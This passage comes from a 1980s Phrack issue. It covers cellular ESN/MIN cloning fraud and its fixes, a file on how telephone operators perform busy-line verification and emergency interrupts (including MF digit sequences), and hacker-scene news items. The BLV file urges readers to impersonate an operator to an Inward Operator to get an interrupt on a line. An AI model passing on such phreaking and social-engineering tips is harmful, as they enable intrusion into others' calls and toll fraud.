Committing fraud under IMTS required modification of the mobile‑‑restrapping of jumpers in the radio unit, or operating magic keyboard combinations in later units‑‑to reprogram the unit to transmit an unauthorized identification number. Some mobile control heads even had convenient thumb wheel switches installed on them to facilitate easy and frequent ANI (Automatic Number Identification) changes.

Cellular Evolution

Cellular has evolved considerably from these previous systems. Signaling between mobile and base stations uses high‑speed digital techniques and involves many different types of digital messages. As before, the cellular phone contains its own Mobile Identification Number (MIN), which is programmed by the seller or service shop and can be changed when, for example, the phones sold to a new user. In addition, the U.S. cellular standard incorporates a second number, the 'Electronic Serial Number' (ESN), which is intended to uniquely and permanently identify the mobile unit.

According to the Electronic Industries Association (EIA) Interim Standard IS‑3‑B, Cellular System Mobile Station‑‑Land Station Compatibility Specification (July 1984), 'The serial number is a 32‑bit binary number that uniquely identifies a mobile station to any cellular system. It must be factory‑set and not readily alterable in the field. The circuitry that provides the serial number must be isolated from fraudulent contact and tampering. Attempts to change the serial number circuitry should render the mobile station inoperative.'

The ESN was intended to solve two problems the industry observed with its older systems.

First, the number of subscribers that older systems could support fell far short of the demand in some areas, leading groups of users to share a single mobile number (fraudulently) by setting several phones to send the same identification. Carriers lost individual user accountability and their means of predicting and controlling traffic on their systems.

Second, systems had no way of automatically detecting use of stolen equipment because thieves could easily change the transmitted identification.

In theory, the required properties of the ESN allow cellular systems to check to ensure that only the correctly registered unit uses a particular MIN, and the ESNs of stolen units can be permanently denied service ('hot‑listed'). This measure is an improvement over the older systems, but vulnerabilities remain.

Ease of ESN Tampering

Although the concept of the unalterable ESN is laudable in theory, weaknesses are apparent in practice. Many cellular phones are not constructed so that 'attempts to change the serial number circuitry renders the mobile station inoperative.' We have personally witnessed the trivial swapping of one ESN chip for another in a unit that functioned flawlessly after the switch was made.

Where can ESN chips be obtained to perform such a swap? We know of one recent case in the Washington, D.C. area in which an ESN was 'bought' from a local service shop employee in exchange for one‑half gram of cocaine. Making the matter simpler, most manufacturers are using industry standard Read‑Only Memory (ROM) chips for their ESNs, which are easily bought and programmed or copied.

Similarly, in the spirit of research, a west coast cellular carrier copied the ESN from one manufacturer's unit to another one of the same type and model‑‑thus creating two units with the exact same identity.

The ESN Bulletin Board

For many phones, ESN chips are easy to obtain, program, and install. How does a potential bootlegger know which numbers to use? Remember that to obtain service from a system, a cellular unit must transmit a valid MIN (telephone number) and (usually) the corresponding serial number stored in the cellular switch's database.

With the right equipment, the ESN/MIN pair can be read right off the air because the mobile transmits it each time it originates a call. Service shops can capture this information using test gear that automatically receives and decodes the reverse, or mobile‑to‑base, channels.

Service shops keep ESN/MIN records on file for units they have sold or serviced, and the carriers also have these data on all of their subscribers. Unscrupulous employees could compromise the security of their customers' telephones.

In many ways, we predict that 'trade' in compromised ESN/MIN pairs will resemble what currently transpires in the long distance telephone business with AT&T credit card numbers and alternate long‑distance carrier (such as MCI, Sprint and Alltel) account codes. Code numbers are swapped among friends, published on computer 'bulletin boards' and trafficked by career criminal enterprises.

Users whose accounts are being defrauded might‑‑or might not‑‑eventually notice higher‑than‑expected bills and be reassigned new numbers when they complain to the carrier. Just as in the long distance business, however, this number 'turnover' (deactivation) won't happen quickly enough to make abuse unprofitable. Catching pirates in the act will be even tougher than it is in the wireline telephone industry because of the inherent mobility of mobile radio.

Automating Fraud

Computer hobbyists and electronics enthusiasts are clever people. Why should a cellular service thief 'burn ROMs' and muck with hardware just to install new IDs in his radio? No Herculean technology is required to 'hack' a phone to allow ESN/MIN programming from a keyboard, much like the IMTS phone thumb wheel switches described above.

Those not so technically inclined may be able to turn to mail‑order entrepreneurs who will offer modification kits for cellular fraud, much as some now sell telephone toll fraud equipment and pay‑TV decoders.

At least one manufacturer is already offering units with keyboard‑programmable MINs. While intended only for the convenience of dealers and service shops, and thus not described in customer documentation, knowledgeable and/or determined end users will likely learn the incantations required to operate the feature. Of course this does not permit ESN modification, but easy MIN reprogrammability alone creates a tremendous liability in today's roaming environment.

The Rolls Royce of this iniquitous pastime might be a 'Cellular Cache‑Box.' It would monitor reverse setup channels and snarf ESN/MIN pairs off the air, keeping a list in memory. Its owner could place calls as on any other cellphone. The Cache‑Box would automatically select an ESN/MIN pair from its catalog, use it once and then discard it, thus distributing its fraud over many accounts. Neither customer nor service provider is likely to detect the abuse, much less catch the perpetrator.

As the history of the computer industry shows, it is not far‑fetched to predict explosive growth in telecommunications and cellular that will bring equipment prices within reach of many experimenters. Already we have seen the appearance of first‑generation cellular phones on the used market, and new units can be purchased for well under $1000 in many markets.

How High The Loss?

Subscribers who incur fraudulent charges on their bills certainly can't be expected to pay them. How much will fraud cost the carrier? If the charge is for home‑system airtime only, the marginal cost to the carrier of providing that service is not as high as if toll charges are involved. In the case of toll charges, the carrier suffers a direct cash loss. The situation is at its worst when the spoofer pretends to be a roaming user. Most inter‑carrier roaming agreements to date make the user's home carrier (real or spoofed) responsible for charges, who would then be out hard cash for toll and airtime charges.

We have not attempted to predict the dollar losses this chicanery might generate because there isn't enough factual information information for anyone to guess responsibly. Examination of current estimates of long‑distance‑toll fraud should convince the skeptic.

Solutions

The problems we have described are basically of two types. First, the ESN circuitry in most current mobiles is not tamper‑resistant, much less tamper‑proof. Second and more importantly, the determined perpetrator has complete access to all information necessary for spoofing by listening to the radio emissions from valid mobiles because the identification information (ESN/MIN) is not encrypted and remains the same with each transmission.

Manufacturers can mitigate the first problem by constructing mobiles that more realistically conform to the EIA requirements quoted above. The second problem is not beyond solution with current technology, either. Well‑known encryption techniques would allow mobiles to identify themselves to the serving cellular system without transmitting the same digital bit stream each time. Under this arrangement, an interloper receiving one transmission could not just retransmit the same pattern and have it work a second time.

An ancillary benefit of encryption is that it would reasonably protect communications intelligence‑‑the digital portion of each transaction that identifies who is calling whom when.

The drawback to any such solution is that it requires some re‑engineering in the Mobile‑Land Station Compatibility Specification, and thus new software or hardware for both mobiles and base stations. The complex logistics of establishing a new standard, implementing it, and retrofitting as much of the current hardware as possible certainly presents a tough obstacle, complicated by the need to continue supporting the non‑encrypted protocol during a transition period, possibly forever.

The necessity of solving the problem will, however, become apparent. While we presently know of no documented cases of cellular fraud, the vulnerability of the current standards and experience with similar technologies lead us to conclude that it is inevitable. Failure to take decisive steps promptly will expose the industry to a far more expensive dilemma. XXX

Geoffrey S. Goodfellow is a member of the senior research staff in the Computer Science Laboratory at SRI International, 333 Ravenswood Ave., Menlo Park, CA 94025, 415/859‑3098. He is a specialist in computer security and networking technology and is an active participant in cellular industry standardization activities. He has provided Congressional testimony on telecommunications security and privacy issues and has co‑authored a book on the computer 'hacking' culture.

Robert N. Jesse (2221 Saint Paul St., Baltimore, MD 21218, 301/243‑8133) is an independent consultant with expertise in security and privacy, computer operating systems, telecommunications and technology management. He is an active participant in cellular standardization efforts. He was previously a member of the senior staff at The Johns Hopkins University, after he obtained his BES/EE from Johns Hopkins.

Andrew H. Lamothe, Jr. is executive vice‑president of engineering at Cellular Radio Corporation, 8619 Westwood Center Dr., Vienna, VA 22180, 703/893‑2680. He has played a leading role internationally in cellular technology development. He was with Motorola for 10 years prior to joining American TeleServices, where he designed and engineered the Baltimore/Washington market trial system now operated by Cellular One.

‑‑‑‑‑‑‑‑

A later note indicates that one carrier may be losing something like $180K per

Busy Line Verification

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #10 of 12

BUSY LINE VERIFICATION

WRITTEN BY PHANTOM PHREAKER

This file describes how a TSPS operator does a BLV (Busy Line Verification) and an EMER INT (Emergency Interrupt) upon a busy line that a customer has requested to be 'broken' into. I have written this file to hopefully clear up all the misconceptions about Busy Line Verification and Emergency Interrupts.

BLV is 'Busy Line Verification'. That is, discovering if a line is busy/not busy. BLV is the telco term, but it has been called Verification, Autoverify, Emergency Interrupt, break into a line, REMOB, and others. BLV is the result of a TSPS that uses a Stored Program Control System (SPCS) called the Generic 9 program. Before the rise of TSPS in 1969, cordboard operators did the verification process. The introduction of BLV via TSPS brought about more operator security features. The Generic 9 SPCS and hardware was first installed in Tucson, Daytona, and Columbus, Ohio, in 1979. By now virtually every TSPS has the Generic 9 program.

A TSPS operator does the actual verification. If caller A was in the 815 Area code, and caller B was in the 314 Area code, A would dial 0 to reach a TSPS in his area code, 815. Now, A, the customer, would tell the operator he wished an emergency interrupt on B's number, 314+555+1000. The 815 TSPS op who answered A's call cannot do the interrupt outside of her own area code, (her service area), so she would call an Inward Operator for B's area code, 314, with KP+314+TTC+121+ST, where the TTC is a Terminating Toll Center code that is needed in some areas. Now a TSPS operator in the 314 area code would be reached by the 815 TSPS, but a lamp on the particular operators console would tell her she was being reached with an Inward routing. The 815 operator then would say something along the lines of she needed an interrupt on 314+555+1000, and her customers name was J. Smith. Now, the 314 Inward (which is really a TSPS) would dial B's number, in a normal Operator Direct Distance Dialing (ODDD) fashion. If the line wasn't busy, then the 314 Inward would report this to the 815 TSPS, who would then report to the customer (caller A) that 314+555+1000 wasn't busy and he could call as normal. However if the given number (in this case, 314+555+1000) was busy, then several things would happen and the process of BLV and EMER INT would begin. The 314 Inward would seize a Verification trunk (or BLV trunk) to the toll office that served the local loop of the requested number (555+1000). Now another feature of TSPS checks the line asked to be verified against a list of lines that can't be verified, such as radio stations, police, etc. If the line number a customer gives is on the list then the verification cannot be done, and the operator tells the customer.

Now the TSPS operator would press her VFY (VeriFY) key on the TSPS console, and the equipment would outpulse (onto the BLV trunk) KP+0XX+PRE+SUFF+ST. The KP being Key Pulse, the 0XX being a 'screening code' that protects against trunk mismatching, the PRE being the Prefix of the requested number (555), the SUFF being the Suffix of the requested number (1000), and the ST being STart, which tells the Verification trunk that no more MF digits follow. The screening code is there to keep a normal Toll Network (used in regular calls) trunk from accidentally connecting to a Verification trunk. If this screening code wasn't present, and a trunk mismatch did occur, someone calling a friend in the same area code might just happen to be connected to his friends line, and find himself in the middle of a conversation. But, the Verification trunk is waiting for an 0XX sequence, and a normal call on a Toll Network trunk does not outpulse an 0XX first. (Example: You live at 914+555+1000, and wish to call 914+666+0000. The routing for your call would be KP+666+0000+ST. The BLV trunk cannot accept a 666 in place of the proper 0XX routing, and thus would give the caller a re‑order tone.) Also, note that the outpulsing sequence onto a BLV trunk can't contain an Area Code. This is the reason why if a customer requests an interrupt outside of his own NPA, the TSPS operator must call an Inward for the area code that can outpulse onto the proper trunk. If a TSPS in 815 tried to do an interrupt on a trunk in 314, it would not work. This proves that there is a BLV network for each NPA, and if you somehow gain access to a BLV trunk, you could only use it for interrupts within the NPA that the trunk was located in.

BLV trunks 'hunt' to find the right trunks to the right Class 5 End Office that serves the given local loop. The same outpulsing sequence is passed along BLV trunks until the BLV trunk serving the Toll Office that serves the given End Office is found.

There is usually one BLV trunk per 10,000 lines (exchange). So, if a Toll Office served ten End Offices, that Toll Office would have 100,000 local loops that it served, and have 10 BLV trunks running from TSPS to that Toll Office.

Now, the operator (in using the VFY key) can hear what is going on on the line, (modem, voice, or a permanent signal, indicating a phone off‑hook) and take appropriate action. She can't hear what's taking place on the line clearly, however. A speech scrambler circuit within the operator console generates a scramble on the line while the operator is doing a VFY. The scramble is there to keep operators from listening in on people, but it is not enough to keep an op from being able to tell if a conversation, modem signal, or a dial tone is present upon the line. If the operator hears a permanent signal, she can only report back to the customer that either the phone is off‑hook, or there is a problem with the line, and she can't do anything about it. In the case of caller A and B, the 314 Inward would tell the 815 TSPS, and the 815 TSPS would tell the customer. If there is a conversation on line, the operator presses a key marked EMER INT (EMERgency INTerrupt) on her console. This causes the operator to be added into a three way port on the busy line. The EMER INT key also deactivates the speech scrambling circuit and activates an alerting tone that can be heard by the called customer. The alerting tone that is played every 10 seconds tells the customer that an operator is on the line. Some areas don't have the alerting tone, however. Now, the operator would say 'Is this XXX‑XXXX?' where XXX‑XXXX would be the Prefix and Suffix of the number that the original customer requesting the interrupt gave the original TSPS. The customer would confirm the operator had the correct line. Then the Op says 'You have a call waiting from (customers name). Will you accept?'. This gives the customer the chance to say 'Yes' and let the calling party be connected to him, while the previous party would be disconnected. If the customer says 'No', then the operator tells the person who requested the interrupt that the called customer would not accept. The operator can just inform the busy party that someone needed to contact him or her, and have the people hang up, and then notify the requesting customer that the line is free. Or, the operator can connect the calling party and the interrupted party without loss of connection.

The charges for this service (in my area at least) run 1.00 for asking the operator to interrupt a phone call so you can get through. There is an .80 charge if you ask the operator to verify whether the phone you're trying to reach is busy because of a service problem or because of a conversation. If the line has no conversation on it, there will be no charge for the verification.

When the customer who initiated the emergency interrupt gets his telephone bill, the charges for the interrupt call will look similar to this:

12‑1 530P INTERRUPT CL 314 555 1000 OD 1 1.00

The 12‑1 is December first of the current year; 530P is the time the call was made to the operator requesting an interrupt; INTERRUPT CL is what took place, that is, an interrupt call; 314 555 1000 is the number requested; OD stands for Operator Dialed; the 1 is the length of the call (in minutes); and the 1.00 is the charge for the interrupt. The format may be different, depending upon your area and telephone company.

One thing I forgot to mention about TSPS operators. In places where a Remote Trunking Arrangement is being used, and even places where they aren't in use, you may be connected to a TSPS operator in a totally different area code. In such a case, the TSPS that you reach in a Foreign NPA will call up an inward operator for your Home NPA, if the line you requested an EMER INT on was in your HNPA. If the line you requested EMER INT on was in the same NPA of the TSPS that you had reached, then no inward operator would be needed and the answering operator could do the entire process.

Verification trunks seem to be only accessible by a TSPS/Inward operator. However, there have been claims to people doing Emergency Interrupts with blue boxes. I don't know how to accomplish an EMER INT without the assistance of an operator, and I don't know if it can be done. If you really wish to participate in a BLV/EMER INT, call up an Inward Operator and play the part of a TSPS operator who needs an EMER INT upon a pre‑designated busy line. Billing is handled at the local TSPS so you will not have to supply a billing number if you decide to do this.

If you find any errors in this file, please try to let me know about it, and if you find out any other information that I haven't included, feel free to comment.

Phrack World News X

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN *>=‑{ Phrack World News }‑=<* PWN

PWN PWN

PWN Issue X PWN

PWN PWN

PWN Written, Compiled, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Scan Man Revisited January 19, 1987

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a reprint from TeleComputist Newsletter Issue Two;

SCAN MAN ‑ FED OR PHREAK? (The Other Side)

TeleComputist is printing the statement Scan Man has made to us [TeleComputist] in rebuttal to Phrack World News, whom previously printed an article concerning Scan Man in Phrack Issue VIII. Those of you who have seen or read the article in Phrack VIII know that it basically covered information and an intercepted memo alleging Scan Man of going after hackers and turning in codes off his BBS (P‑80 Systems, Charleston, West Virginia 304/744‑2253) as a TMC employee. Please note that this statement should be read with the article concerning Scan Man in Phrack Issue VIII to get the full understanding.

Scan Man started off his statement claiming not to work for TMC, but instead for a New York branch office of Telecom Management (a Miami based firm). He was flown in from Charleston, West Virginia to New York every week for a four to five day duration. Once in New York, Telecom Management made available a leased executive apartment where Scan Man stayed as he worked. His position in Telecom Management was that of a systems analyst, "...and that was it!" Scan Man stated. Scan Man also stated that he had never made it a secret that he was working in New York and had even left messages on his BBS saying this.

He also went on to say that he had no part in the arrest of Shawn [of Phreaker's Quest] (previously known as Captain Caveman) by TMC in Las Vegas. Scan Man claimed to have no ties with TMC in Las Vegas and that they would not even know him. Scan Man then went on to say that Shawn had never replied to previous messages Scan man had left asking for TMC codes. Scan Man also said that the messages about TMC were in no way related to him. He claimed to have no ties to TMC, which is a franchised operation which makes even TMC unrelated except by name.

Scan Man stated that he called Pauline Frazier and asked her about the inquiry by Sally Ride [:::Space Cadet] who acted as an insider to obtain the information in Phrack VIII. He said that Pauline said nothing to the imposter (Sally Ride) and merely directed him to a TMC employee named Kevin Griffo. Scan Man then went on to say that the same day Sally Ride called Pauline Frazier was the same day he received his notice. And to that Scan Man made the comment, "If I find out this is so heads will roll!"

After that comment, Scan Man came up with arguments of his own, starting off with the dates printed in Phrack VIII. He claimed that the dates were off and backed this up by saying Ben Graves had been fired six months previously to the conversation with Sally Ride. Scan Man then went on to ask why it had taken Sally Ride so long to come forward with his information. Scan Man made one last comment, "It's a fucking shame that there is a social structure in the phreak world!" Meaning Sally Ride merely presented his information to give himself a boost socially in the phreak world.

This is how it ended. We would like to say that TeleComputist printed the statement by Scan Man to offer both sides of the story. We make no judgements here and take no sides.

Reprinted with permission from TeleComputist Newsletter Issue 2

Copyright (C) 1986 by J. Thomas. All Rights Reserved

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Ok, that was Scan Man's side to the story, now that he had a few months to come up with one. Lets do a critical breakdown;

‑*‑ "He was flown in from Charleston, West Virginia to New York every week for a four to five day duration."

Gee, wouldn't that get awfully expensive? Every week...and "made available a leased executive apartment..." He must have been quite an asset to "Telecom Management" for them to spend such large amounts on him. Kinda interesting that he lived in Charleston, West Virginia (where surprisingly enough there is a branch of TMC) and flew to New York every week.

‑*‑ "Scan Man claimed to have no ties with TMC in Las Vegas..." Ok, I'll buy that. Notice how he didn't say that he had no ties with TMC in Charleston. Furthermore if he had no ties with TMC in Charleston why would they have his name in their company records? Why would all those employees know him or dislike him for that matter?

‑*‑ "Scan Man then went on to say that the same day Sally Ride called Pauline Frazier was the day he received his notice." Well now, how can there be a connection between the two events at all when Scan Man works for Telecom Management and has "no ties with TMC" and claimed "not to work for TMC"? If TMC and Telecom Management are truly independent of each other then nothing Sally Ride said to Pauline Frazier could have affected him in ANY way. That is unless he did work for TMC in the first place.

‑*‑ "...and back this up by saying that Ben Graves had been fired six months previously to the conversation with Sally Ride." Well first of all, PWN did not give a date as to when Ben Graves was fired from TMC. Second of all and more important, how does Scan Man know so much about TMC when he works for "Telecom Management" and has "...no ties with TMC..."?

The rest of his statements were highly debatable and he showed no proof as to their validity. As for why Sally Ride waited so long to come forward, well he didn't wait that long at all, he came forward to myself in late May/early June of 1986. My decision was to do nothing because there wasn't enough proof. After three months of research we had enough proof and the article was released.

With this attempt to cover up the truth, Scan Man has only given more ammunition to the idea that he isn't what he claims to be.

Special Thanks to TeleComputist Newsletter

________________________________________

The Cracker Cracks Up? December 21, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Computer 'Cracker' Is Missing ‑‑ Is He Dead Or Is He Alive"

By Tom Gorman of The Los Angeles Times

ESCONDIDO, Calif. ‑‑ Early one morning in late September, computer hacker Bill Landreth pushed himself away from his IBM‑PC computer ‑‑ its screen glowing with an uncompleted sentence ‑‑ and walked out the front door of a friend's home here.

He has not been seen or heard from since.

The authorities want him because he is the "Cracker", convicted in 1984 of breaking into some of the most secure computer systems in the United States, including GTE Telemail's electronic mail network, where he peeped at NASA Department of Defense computer correspondence.

He was placed on three years' probation. Now his probation officer is wondering where he is.

His literary agent wants him because he is Bill Landreth the author, who already has cashed in on the successful publication of one book on computer hacking and who is overdue with the manuscript of a second computer book.

The Institute of Internal Auditors wants him because he is Bill Landreth the public speaker who was going to tell the group in a few months how to make their computer systems safer from people like him.

Susan and Gulliver Fourmyle want him because he is the eldest of their eight children. They have not seen him since May 1985, when they moved away from Poway in northern San Diego county, first to Alaska then to Maui where they now live.

His friends want him because he is crazy Bill Landreth, IQ 163, who has pulled stunts like this before and "disappeared" into the night air ‑‑ but never for more than a couple of weeks and surely not for 3 months. They are worried.

Some people think Landreth, 21, has committed suicide. There is clear evidence that he considered it ‑‑ most notably in a rambling eight‑page discourse that Landreth wrote during the summer.

The letter, typed into his computer, then printed out and left in his room for someone to discover, touched on the evolution of mankind, prospects for man's immortality and the defeat of the aging process, nuclear war, communism versus capitalism, society's greed, the purpose of life, computers becoming more creative than man and finally ‑‑ suicide.

The last page reads:

"As I am writing this as of the moment, I am obviously not dead. I do, however, plan on being dead before any other humans read this. The idea is that I will commit suicide sometime around my 22nd birthday..."

The note explained:

"I was bored in school, bored traveling around the country, bored getting raided by the FBI, bored in prison, bored writing books, bored being bored. I will probably be bored dead, but this is my risk to take."

But then the note said:

"Since writing the above, my plans have changed slightly.... But the point is, that I am going to take the money I have left in the bank (my liquid assets) and make a final attempt at making life worthy. It will be a short attempt, and I do suspect that if it works out that none of my current friends will know me then. If it doesn't work out, the news of my death will probably get around. (I won't try to hide it.)"

Landreth's birthday is December 26 and his best friend is not counting on seeing him again.

"We used to joke about what you could learn about life, especially since if you don't believe in a God, then there's not much point to life," said Tom Anderson, 16, a senior at San Pasqual High School in Escondido, about 30 miles north of San Diego. Anderson also has been convicted of computer hacking and placed on probation.

Anderson was the last person to see Landreth. It was around September 25 ‑he does not remember exactly. Landreth had spent a week living in Anderson's home so the two could share Landreth's computer. Anderson's IBM‑PC had been confiscated by authorities, and he wanted to complete his own book.

Anderson said he and Landreth were also working on a proposal for a movie about their exploits.

"He started to write the proposal for it on the computer, and I went to take a shower," Anderson said. "When I came out, he was gone. The proposal was in mid‑sentence. And I haven't seen him since."

Apparently Landreth took only his house key, a passport, and the clothes on his back.

Anderson said he initially was not concerned about Landreth's absence. After all this was the same Landreth who, during the summer, took off for Mexico without telling anyone ‑‑ including friends he had seen just the night before ‑‑ of his departure.

But concern grew by October 1, when Landreth failed to keep a speaking engagement with a group of auditors in Ohio, for which he would have received $1,000 plus expenses. Landreth may have kept a messy room and poor financial records, but he was reliable enough to keep a speaking engagement, said his friends and literary agent, Bill Gladstone, noting that Landreth's second manuscript was due in August and had not yet been delivered.

But, the manuscript never came and Landreth has not reappeared.

Steve Burnap, another close friend, said that during the summer Landreth had grown lackadaisical toward life. "He just didn't seem to care much about anything anymore."

Typed for PWN by Druidic Death From The Dallas Times Herald

________________________________________

Beware The Hacker Tracker December, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By Lamont Wood of Texas Computer Market Magazines

If you want to live like a spy in your own country, you don't have to join the CIA or the M15 or the KGB. You can track hackers, like John Maxfield of Detroit.

Maxfield is a computer security consultant running a business called BoardScan, which tracks hackers for business clients. He gets occasional death threats and taunting calls from his prey, among whom he is known as the "hacker tracker," and answers the phone warily.

And although he has received no personal harassment, William Tener, head of data security for the information services division of TRW, Inc., has found it necessary to call in experts in artificial intelligence from the aerospace industry in an effort to protect his company's computer files. TRW is a juicy target for hackers because the firm stores personal credit information on about 130 million Americans and 11 million businesses ‑‑ data many people would love to get hold of.

Maxfield estimates that the hacker problem has increased by a factor of 10 in the last four years, and now seems to be doubling every year. "Nearly every system can be penetrated by a 14‑year old with $200 worth of equipment," he complains. "I have found kids as young as nine years old involved in hacking. If such young children can do it, think of what an adult can do."

Tener estimates that there are as many as 5,000 private computer bulletin boards in the country, and that as many as 2,000 are hacker boards. The rest are as for uses as varied as club news, customer relations, or just as a hobby. Of the 2,000 about two dozen are used by "elite" hackers, and some have security features as good as anything used by the pentagon, says Maxfield.

The number of hackers themselves defies estimation, if only because the users of the boards overlap. They also pass along information from board to board. Maxfield says he has seen access codes posted on an east coast bulletin board that appeared on a west coast board less than an hour later, having passed through about ten boards in the meantime. And within hours of the posting of a new number anywhere, hundreds of hackers will try it.

"Nowadays, every twerp with a Commodore 64 and a modem can do it, all for the ego trip of being the nexus for forbidden knowledge," sighs a man in New York City, known either as "Richard Cheshire" or "Chesire Catalyst" ‑‑ neither is his real name. Cheshire was one of the earliest computer hackers, from the days when the Telex network was the main target, and was the editor of TAP, a newsletter for hackers and phone "phreaks". Oddly enough, TAP itself was an early victim of the hacker upsurge. "The hacker kids had their bulletin boards and didn't need TAP ‑‑ we were technologically obsolete," he recalls.

So who are these hackers and what are they doing? Tener says most of the ones he has encountered have been 14 to 18 year old boys, with good computer systems, often bright, middle class, and good students. They often have a reputation for being loners, if only because they spend hours by themselves at a terminal, but he's found out‑going hacker athletes.

But Maxfield is disturbed by the sight of more adults and criminals getting involved. Most of what the hackers do involves "theft of services" ‑‑ free access to Compuserve, The Source, or other on‑line services or corporate systems. But, increasingly, the hackers are getting more and more into credit card fraud.

Maxfield and Cheshire describe the same process ‑‑ the hackers go through trash bins outside businesses whose computer they want to break into looking for manuals or anything that might have access codes on it. They may find it, but they also often find carbon copies of credit card sales slips, from which they can read credit card numbers. They use these numbers to order merchandise ‑‑ usually computer hardware ‑‑ over the phone and have it delivered to an empty house in their neighborhood, or to a house where nobody is home during the day. Then all they have to do is be there when the delivery truck arrives.

"We've only been seeing this in the last year," Maxfield complains. "But now we find adults running gangs of kids who steal card numbers for them. The adults resell the merchandise and give the kids a percentage of the money."

It's best to steal the card number of someone rich and famous, but since that's usually not possible it's a good idea to be able to check the victim's credit, because the merchant will check before approving a large credit card sale. And that's what makes TRW such a big target ‑‑ TRW has the credit files. And the files often contain the number of any other credit cards the victim owns, Maxfield notes.

The parents of the hackers, meanwhile, usually have no idea what their boy is up to ‑‑ he's in his room playing, so what could be wrong? Tener recalls a case where the parents complained to the boy about the high phone bill one month. And the next month the bill was back to normal. And so the parents were happy. But the boy had been billing the calls to a stolen telephone company credit card.

"When it happens the boy is caught and taken to jail, you usually see that the parents are disgruntled at the authorities ‑‑ they still think that Johnny was just playing in his bedroom. Until, of course, they see the cost of Johnny's play time, which can run $50,000 to $100,000. But outside the cost, I have never yet seen a parent who was really concerned that somebody's privacy has been invaded ‑‑ they just think Johnny's really smart," Tener says.

TRW will usually move against hackers when they see a TRW file or access information on a bulletin board. Tener says they usually demand payment for their investigation costs, which average about $15,000.

Tales of the damage hackers have caused often get exaggerated. Tener tells of highly publicized cases of hackers who, when caught, bragged about breaking into TRW, when no break‑ins had occurred. But Maxfield tells of two 14‑year old hackers who were both breaking into and using the same corporate system. They had an argument and set out to erase each other's files, and in the process erased other files that cost about a million dollars to replace. Being juveniles, they got off free.

After being caught, Tener says most hackers find some other hobby. Some, after turning 18, are hired by the firms they previously raided. Tener says it rare to see repeat offenders, but Maxfield tells of one 14‑year‑old repeat offender who was first caught at age 13.

Maxfield and Tener both make efforts to follow the bulletin boards, and Maxfield even has a network of double agents and spies within the hacker community. Tener uses artificial intelligence software to examine the day's traffic to look for suspicious patterns. TRW gets about 40,000 inquiries an hour and has about 25,000 subscribers. But that does not address the underlying problem.

"The real problem is that these systems are not well protected, and some can't be protected at all," Maxfield says.

Cheshire agrees. "A lot of companies have no idea what these kids can do to them," he says. "If they would make access even a little difficult the kids will go on to some other system." As for what else can be done, he notes that at MIT the first thing computer students are taught is how to crash the system. Consequently, nobody bothers to do it.

But the thing that annoys old‑timer Cheshire (and Maxfield as well) is that the whole hacker‑intruder‑vandal‑thief phenomenon goes against the ideology of the original hackers, who wanted to explore systems, not vandalize them. Cheshire defines the original "hacker ethic" as the belief that information is a value‑free resource that should be shared. In practice, it means users should add items to files, not destroy them, or add features to programs, rather than pirate them.

"These kids want to make a name for themselves, and they think that they need to do something dirty to do that. But they do it just as well by doing something clever, such as leaving a software bug report on a system," he notes.

Meanwhile, Maxfield says we are probably stuck with the problem at least until the phone systems converts to digital technology, which should strip hackers of anonymity by making their calls easy to trace.

Until someone figures out how to hack digital phone networks, of course. ‑TCM

Typed for PWN by Druidic Death

Phrack World News XI

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN *>=‑{ Phrack World News }‑=<* PWN

PWN PWN

PWN Issue XI PWN

PWN PWN

PWN Written, Compiled, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Computer Bulletin Boards January 8, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By The KTVI Channel 2 News Staff in St. Louis

Please keep in mind that Karen and Russ are anchor persons at KTVI. All comments in []s are by me.‑KL

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Karen: If Santa Claus brought you a computer for Christmas, beware of seeing a few things you may not have bargained for. Computer bulletin boards have spread by the thousands over the past few years and now some people are concerned that the electronic messages may have gotten a bit out of hand.

Russ: In its simplest definition, a computer bulletin board is a program or message that can be accessed by other computers via telephone lines. Anyone who has a home computer and a modem can receive and transmit to computer bulletin boards. There are thousands of them nationwide, but some are causing quite a stink [What a profound statement Russ].

[Flash to a picture of a geeky looking teenager]

Meet Jason Rebbe, he is a 16 year old computer whiz who a few months ago accidentally tapped into a bulletin board called Dr. Doom's Castle. [Sorry to break in here Russ, but why is this guy a computer whiz? Just because he has a computer? Hey Russ, look a little closer, isn't Jason sitting in front of a Commodore‑64? I thought so. Oh yeah one other thing, this BBS Dr. Doom's Castle has no known relation to Dr. Doom (512) or Danger Zone Private.] Dr. Doom gives instructions on how to build bombs and guns [Lions and Tigers and Bears, oh my!]. Jason found the recipe for smoke bombs and tried to make one in his kitchen, it didn't work. [Ba ha ha].

Jason: I heard an explosion in the basement first and that's when I knew something was wrong. I thought it would be really neat to just set it off someday when there was a lot of people around, just as a joke or a prank. [Yeah, that would be K‑Rad d00d!]. I didn't expect it to blow up my house.

Russ: Jason wasn't hurt, but it cost about 2 grand [that's $2,000 to you and me] to repair the kitchen. Jason's dad didn't take it well.

Bob Holloway: Mad wasn't the word for it. I, I was, I was past mad.

Russ: Mr. Holloway called Southwestern Bell and AT&T to see what could be done about bulletin boards like Dr. Doom's Castle. The answer was nothing. The Bureau of Alcohol, Tobacco, and Firearms said the same thing.

